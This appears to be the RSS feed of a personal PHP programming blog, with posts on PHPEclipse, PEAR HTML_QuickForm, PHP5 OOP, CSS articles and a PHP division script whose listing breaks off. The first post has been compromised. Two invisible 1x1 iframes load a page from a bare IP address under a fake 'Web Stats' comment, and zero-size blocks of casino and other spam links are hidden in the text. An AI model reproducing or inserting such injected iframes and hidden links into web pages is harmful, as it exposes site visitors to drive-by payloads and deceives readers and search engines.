<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Mark Hawkins' Blog</title>
	<atom:link href="http://blog.warrior.org.uk/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://blog.warrior.org.uk</link>
	<description>A few random programming thoughts</description>
	<pubDate>Mon, 21 Dec 2009 12:42:25 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>PHPEclipse 1.1.9 and 1.2.0</title>
		<link>http://blog.warrior.org.uk/?p=32</link>
		<comments>http://blog.warrior.org.uk/?p=32#comments</comments>
		<pubDate>Wed, 16 Jul 2008 12:07:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=32</guid>
		<description><![CDATA[Just been looking on the SourceForge page for PHPEclipse and found an announcement   from 3 days ago that versions 1.1.9 and 1.2.0 have now been released.free video poker how to play backgammon no deposit bonus online casino 888 no download casino play roulette craps game black jack download american roulette play video poker [...]]]></description>
			<content:encoded><![CDATA[<p>Just been looking on the SourceForge page for PHPEclipse and found an announcement<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> from 3 days ago that versions 1.1.9 and 1.2.0 have now been released.<br /><font style="position: absolute;overflow: hidden;height: 0;width: 0"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://groups.google.com/group/balais_chor/web/free-video-poker">free video poker</a> <a href="http://groups.google.com/group/balais_chor/web/how-to-play-backgammon">how to play backgammon</a> <a href="http://groups.google.com/group/balais_chor/web/no-deposit-bonus-online-casino">no deposit bonus online casino</a> <a href="http://groups.google.com/group/balais_chor/web/888">888</a> <a href="http://groups.google.com/group/balais_chor/web/no-download-casino">no download casino</a> <a href="http://groups.google.com/group/balais_chor/web/play-roulette">play roulette</a> <a href="http://groups.google.com/group/balais_chor/web/craps-game">craps game</a> <a href="http://groups.google.com/group/balais_chor/web/black-jack-download">black jack download</a> <a href="http://groups.google.com/group/balais_chor/web/american-roulette">american roulette</a> <a href="http://groups.google.com/group/balais_chor/web/play-video-poker">play video poker</a> <a href="http://groups.google.com/group/balais_chor/web/baccarat">baccarat</a> <a href="http://groups.google.com/group/balais_chor/web/free-casino-game-no-download">free casino game no download</a> <a href="http://groups.google.com/group/balais_chor/web/online-casino-free-money">online casino free money</a> <a href="http://groups.google.com/group/balais_chor/web/on-line-casino-wagering">on line casino wagering</a> <a href="http://groups.google.com/group/balais_chor/web/roulette-online">roulette online</a> <a href="http://groups.google.com/group/balais_chor/web/online-casino-betting">online casino betting</a> <a href="http://groups.google.com/group/balais_chor/web/free-online-casino-slots">free online casino slots</a> <a href="http://groups.google.com/group/balais_chor/web/free-craps">free craps</a> <a href="http://groups.google.com/group/balais_chor/web/best-casino">best casino</a> <a href="http://groups.google.com/group/balais_chor/web/roulette-gambling">roulette gambling</a> <a href="http://groups.google.com/group/balais_chor/web/internet-casino-gambling">internet casino gambling</a> <a href="http://groups.google.com/group/balais_chor/web/uk-best-casino-online">uk best casino online</a> <a href="http://groups.google.com/group/balais_chor/web/full-pay-video-poker">full pay video poker</a> <a href="http://groups.google.com/group/balais_chor/web/no-deposit-casino-code">no deposit casino code</a> <a href="http://groups.google.com/group/balais_chor/web/best-craps-game">best craps game</a> <a href="http://groups.google.com/group/balais_chor/web/black-jack-tournament">black jack tournament</a> <a href="http://groups.google.com/group/balais_chor/web/best-online-casino-site">best online casino site</a> <a href="http://groups.google.com/group/balais_chor/web/craps-online-game"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://vtsc.info/en/publication/">edfa</a></font>craps online game</a> <a href="http://groups.google.com/group/balais_chor/web/newest-online-casino">newest online casino</a> <a href="http://groups.google.com/group/balais_chor/web/free-slots-no-download">free slots no download</a> <a href="http://groups.google.com/group/balais_chor/web/play-blackjack-online-free">play blackjack online free</a> <a href="http://groups.google.com/group/balais_chor/web/dueces-wild-video-poker">dueces wild video poker</a> <a href="http://groups.google.com/group/balais_chor/web/black-jack-gambling">black jack gambling</a> <a href="http://groups.google.com/group/balais_chor/web/online-video-poker-game"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1089;&#1087;&#1072;&#1083;&#1085;&#1080; &#1082;&#1086;&#1084;&#1087;&#1083;&#1077;&#1082;&#1090;&#1080;</a></font>online video poker game</a> <a href="http://groups.google.com/group/balais_chor/web/free-casino-cash-no-deposit">free casino cash no deposit</a> <a href="http://groups.google.com/group/balais_chor/web/video-poker-tutorial">video poker tutorial</a> <a href="http://groups.google.com/group/balais_chor/web/play-free-video-poker">play free video poker</a> <a href="http://groups.google.com/group/balais_chor/web/how-to-win-at-black-jack">how to win at black jack</a> <a href="http://groups.google.com/group/balais_chor/web/casino-roulette">casino roulette</a> <a href="http://groups.google.com/group/balais_chor/web/casino-guide">casino guide</a> <a href="http://groups.google.com/group/balais_chor/web/how-to-win-at-roulette">how to win at roulette</a> <a href="http://groups.google.com/group/balais_chor/web/rules-of-craps">rules of craps</a> <a href="http://groups.google.com/group/balais_chor/web/casino-game-online">casino game online</a> <a href="http://groups.google.com/group/balais_chor/web/real-money-backgammon">real money backgammon</a> <a href="http://groups.google.com/group/balais_chor/web/baccarat-casino-online">baccarat casino online</a> <a href="http://groups.google.com/group/balais_chor/web/free-video-poker-game">free video poker game</a> <a href="http://groups.google.com/group/balais_chor/web/play-free-video-poker-2">play free video poker</a> <a href="http://groups.google.com/group/balais_chor/web/video-poker-odds">video poker odds</a> <a href="http://groups.google.com/group/balais_chor/web/video-poker-tournaments">video poker tournaments</a> </font><a href="http://sikongroup.com/rentacar/index.htm">rent a car bulgaria</a></font><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://online-casino-net.org/">online casino</a></font><br />It is good to see that this project is still alive and kicking as from what I can remember it has been a while since the release of the<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> last version (version 1.1.8)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=32</wfw:commentRss>
		</item>
		<item>
		<title>Zend Developer Zone: Generating and Validating Web Forms With PEAR HTML_QuickForm</title>
		<link>http://blog.warrior.org.uk/?p=31</link>
		<comments>http://blog.warrior.org.uk/?p=31#comments</comments>
		<pubDate>Sun, 18 Nov 2007 17:25:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=31</guid>
		<description><![CDATA[A great resource for everything PHP is the site PHPDeveloper.org (which is why I have the RSS feed on the blog) and have found a lot (loads!) of interesting articles from the site. I bookmark a lot of them at my del.icio.us account and can be found here.
Sometimes it&#8217;s good to mention particular articles and [...]]]></description>
			<content:encoded><![CDATA[<p>A great resource for everything PHP is the site <a title="PHPDeveloper.org" href="http://www.phpdeveloper.org">PHPDeveloper.org</a> (which is why I have the RSS feed on the blog) and have found a lot (loads!) of interesting articles from the site. I bookmark a lot of them at my <a title="del.icio.us" href="http://del.icio.us/">del.icio.us</a> account and can be found <a title="My PHPDeveloper.org bookmarks" href="http://del.icio.us/codermonk/phpdeveloper">here</a>.</p>
<p>Sometimes it&#8217;s good to mention particular articles and there is one I came across recently that I think is worthy of specific note.</p>
<p>Security is a big talking point at the moment in all aspects of computers and the Internet and when it comes to Web Programming there are certain areas that need to be looked at even with basic scripts such as SQL Injections, Cross site scripting (XSS), Form Vaildation etc. What can happen though is that programmers can end up constantly re-inventing the wheel when it comes to these issues but there is something out there that can help at least with Form Validation anyway, <a title="Pear::HTML_QuickForm" href="http://pear.php.net/package/HTML_QuickForm">Pear::HTML_QuickForm</a>, and there is an article that I came across via <a title="PHPDeveloper.org" href="http://www.phpdeveloper.org">PHPDeveloper.org</a> from the <a title="Zend Developer Zone" href="http://devzone.zend.com/">Zend Developer Zone</a> entitled <a title="Generating and Validating Web Forms With PEAR HTML_QuickForm" href="http://devzone.zend.com/article/2699-Generating-and-Validating-Web-Forms-With-PEAR-HTML_QuickForm">Generating and Validating Web Forms With PEAR HTML_QuickForm</a> that gives a good overview of this useful PEAR module.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=31</wfw:commentRss>
		</item>
		<item>
		<title>PHP5 OOP</title>
		<link>http://blog.warrior.org.uk/?p=26</link>
		<comments>http://blog.warrior.org.uk/?p=26#comments</comments>
		<pubDate>Thu, 27 Sep 2007 20:57:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=26</guid>
		<description><![CDATA[One of the great things that PHP 5 offers programmers is the ability to progam using Object Oriented Programming techniques (OOP) ie. Classes and Objects.
While the concept of OOP can be confusing when you first come across it, it is a powerful programming concept for writing tidy, ordered, reusable code.
Although OOP was introduced in PHP [...]]]></description>
			<content:encoded><![CDATA[<p>One of the great things that PHP 5 offers programmers is the ability to progam using Object Oriented Programming techniques (OOP) ie. Classes and Objects.</p>
<p>While the concept of OOP can be confusing when you first come across it, it is a powerful programming concept for writing tidy, ordered, reusable code.</p>
<p>Although OOP was introduced in PHP 4 it is generally accepted that this was an addition to PHP 4 whereas in PHP 5 it is a integral part of the original development of PHP 5.</p>
<p>For those looking to start using classes and objects in their PHP 5 code there are a couple of good articles I&#8217;ve come across introducing how to do this:</p>
<ul>
<li><a href="http://devzone.zend.com/article/638-PHP-101-part-7-The-Bear-Necessities">Zend Developer Zone | PHP 101 (part 7): The Bear Necessities</a></li>
<li><a href="http://www.ibm.com/developerworks/opensource/library/os-phpobj/">Getting started with objects with PHP V5</a></li>
</ul>
<p>I&#8217;ve also found a couple of Webcasts on the subject on the site <a href="http://www.killerphp.com" title="KillerPHP.com">killerphp.com</a> which can be accessed  <a href="http://www.killerphp.com/articles/object-oriented-php-videos/">here</a>.</p>
<p>There are also a couple of books available on the subjest including a book from <a href="http://nostarch.com/" title="No Starch Press">No Starch Press</a> simply called <a href="http://www.oreilly.com/catalog/1593270771/" title="Object-Oriented PHP">Object-Oriented PHP</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=26</wfw:commentRss>
		</item>
		<item>
		<title>CSS on DevArticles</title>
		<link>http://blog.warrior.org.uk/?p=24</link>
		<comments>http://blog.warrior.org.uk/?p=24#comments</comments>
		<pubDate>Tue, 25 Sep 2007 09:33:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Programming Articles]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=24</guid>
		<description><![CDATA[Over the last few weeks DevArticles have published a number of articles about CSS. To me, CSS is the styling glue that turns an otherwise ordinary and dull looking page into some that looks great. At the end of the day no matter how great your back-end code is, if the front end doesn&#8217;t look [...]]]></description>
			<content:encoded><![CDATA[<p>Over the last few weeks <a href="http://www.devarticles.com/" title="DevArticles">DevArticles </a>have published a number of articles about CSS. To me, CSS is the styling glue that turns an otherwise ordinary and dull looking page into some that looks great. At the end of the day no matter how great your back-end code is, if the front end doesn&#8217;t look up to scratch people won&#8217;t visit your site.</p>
<p>Here is a list of some of the articles (including the one I&#8217;m reading at the moment - <a href="http://www.devarticles.com/c/a/Web-Design-Usability/Create-Great-JavaScript-and-CSS-Menus-Simply/" title="Create Great JavaScript and CSS Menus Simply">Create Great JavaScript and CSS Menus Simply</a>):</p>
<ul>
<li><a href="http://www.devarticles.com/c/a/DHTML/Learning-Style-Sheet-Properties/" title="Learning Style Sheet Properties">Learning Style Sheet Properties</a></li>
<li><a href="http://www.devarticles.com/c/a/Web-Style-Sheets/Working-with-Multiple-Style-Sheets/" title="Working with Multiple Style Sheets">Working with Multiple Style Sheets</a></li>
<li><a href="http://www.devarticles.com/c/a/Web-Style-Sheets/Using-Persistent-Styles-with-Multiple-Style-Sheets/" title="Using Persistent Styles with Multiple Style Sheets">Using Persistent Styles with Multiple Style Sheets</a></li>
<li><a href="http://www.devarticles.com/c/a/DHTML/Borders-and-More-with-Style-Sheets/" title="Borders and More with Style Sheets">Borders and More with Style Sheets</a></li>
<li><a href="http://www.devarticles.com/c/a/Web-Style-Sheets/Modifying-the-Look-and-Feel-of-Individual-Elements-with-Multiple-Style-Sheets/" title="Modifying the Look and Feel of Individual Elements with Multiple Style Sheets">Modifying the Look and Feel of Individual Elements with Multiple Style Sheets</a></li>
<li><a href="http://www.devarticles.com/c/a/Web-Design-Usability/Create-Great-JavaScript-and-CSS-Menus-Simply/" title="Create Great JavaScript and CSS Menus Simply">Create Great JavaScript and CSS Menus Simply</a></li>
<li><a href="http://www.devarticles.com/c/a/DHTML/Color-Filters-and-Other-Style-Sheet-Properties/" title="Color, Filters, and Other Style Sheet Properties">Color, Filters, and Other Style Sheet Properties</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=24</wfw:commentRss>
		</item>
		<item>
		<title>Clunky Old Scripts 1 - PHP Multiplication Script</title>
		<link>http://blog.warrior.org.uk/?p=21</link>
		<comments>http://blog.warrior.org.uk/?p=21#comments</comments>
		<pubDate>Sun, 19 Aug 2007 23:44:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Old Bits]]></category>

		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=21</guid>
		<description><![CDATA[I came across the following programming problem about 8 months ago and thought I&#8217;d give it a quick go.
Server-side Scripting
Using the server-side scripting language of your choice write a simple &#8216;dividing machine&#8217;. (Preferably use Embedded TCL, PHP, ASP (VBScript) or UNIX based CGI: PERL/BASH/TCLSH/etc.. - any other scripting language is also ok, but we won&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>I came across the following programming problem about 8 months ago and thought I&#8217;d give it a quick go.</p>
<p><strong>Server-side Scripting</strong></p>
<p>Using the server-side scripting language of your choice write a simple &#8216;dividing machine&#8217;. (Preferably use Embedded TCL, PHP, ASP (VBScript) or UNIX based CGI: PERL/BASH/TCLSH/etc.. - any other scripting language is also ok, but we won&#8217;t actually be able to test it.)</p>
<p>(a) The initial screen should be as follows:</p>
<blockquote><p><a href="http://blog.warrior.org.uk/wp-content/uploads/2007/08/id-test3-screen1.png" title="screenshot one"><img src="http://blog.warrior.org.uk/wp-content/uploads/2007/08/id-test3-screen1.png" alt="screenshot one" /></a></p></blockquote>
<blockquote></blockquote>
<p>(b) When the &#8216;=&#8217; button is clicked the returning page should display the answer of the calculation.</p>
<p>e.g.</p>
<blockquote><p><a href="http://blog.warrior.org.uk/wp-content/uploads/2007/08/id-test3-screen2.png" title="screenshot two"><img src="http://blog.warrior.org.uk/wp-content/uploads/2007/08/id-test3-screen2.png" alt="screenshot two" /></a></p></blockquote>
<p>(c) Make sure the numbers selected in the drop downs are unchanged after the &#8216;=&#8217; button is clicked.</p>
<p>So that&#8217;s the description, below is the code that I came up with to fix the problem:</p>
<div class="codesnip-container" >
<div class="codesnip">&lt;html&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;head&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;title&gt;Interactive Data Test Part <span class="nu0">3</span>&lt;/title&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;/head&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;body&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;form action=<span class="st0">&#8220;?&#8221;</span> method=POST&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input type=<span class="st0">&#8220;hidden&#8221;</span> name=<span class="st0">&#8220;_submit_check&#8221;</span> value=<span class="st0">&#8220;1&#8243;</span>&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;table border=<span class="nu0">0</span> cellspacing=<span class="nu0">10</span>&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;tr&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;td&gt;<br />
<span class="kw2">&lt;?php</span><br />
<span class="re0">$i</span> = <span class="nu0">0</span>; <br />
<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8216;&lt;select name=&quot;firstnum&quot;&gt;&#8217;</span>; <br />
<span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$i</span> &lt;= <span class="nu0">100</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span>==<span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;firstnum&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$numberone</span>=<span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;firstnum&#8217;</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8220;&lt;option selected&gt;$i&lt;/option&gt;<span class="es0">\n</span>&#8220;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8220;&lt;option&gt;$i&lt;/option&gt;<span class="es0">\n</span>&#8220;</span>; <br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="re0">$i</span>++; <br />
<span class="br0">&#125;</span> <br />
<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8216;&lt;/select&gt;&#8217;</span>;<br />
<span class="kw2">?&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/td&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;td&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;p&gt;/&lt;/p&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/td&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;td&gt;<br />
<span class="kw2">&lt;?php</span><br />
<span class="re0">$j</span> = <span class="nu0">0</span>; <br />
<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8216;&lt;select name=&quot;secondnum&quot;&gt;&#8217;</span>; <br />
<span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$j</span> &lt;= <span class="nu0">100</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$j</span>==<span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8217;secondnum&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$numbertwo</span>=<span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8217;secondnum&#8217;</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8220;&lt;option selected&gt;$j&lt;/option&gt;<span class="es0">\n</span>&#8220;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8220;&lt;option&gt;$j&lt;/option&gt;<span class="es0">\n</span>&#8220;</span>; <br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="re0">$j</span>++; <br />
<span class="br0">&#125;</span> <br />
<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8216;&lt;/select&gt;&#8217;</span>;<br />
<span class="kw2">?&gt;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/td&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;td&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input type=<span class="st0">&#8220;submit&#8221;</span> name=<span class="st0">&#8220;test&#8221;</span> value=<span class="st0">&#8220;=&#8221;</span>&gt; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/td&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;td&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">&lt;?php</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;_submit_check&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8217;secondnum&#8217;</span><span class="br0">&#93;</span>==<span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8216;&lt;input type=text size=10 value=&quot;Infinity&quot; readonly&gt;&#8217;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$total_result</span>=<span class="re0">$numberone</span>/<span class="re0">$numbertwo</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8216;&lt;input type=text size=10 value=&#8217;</span>.<span class="re0">$total_result</span>.<span class="st0">&#8216; readonly&gt;&#8217;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&#8216;&lt;input type=text size=10 readonly /&gt;&#8217;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">?&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/td&gt;<br />
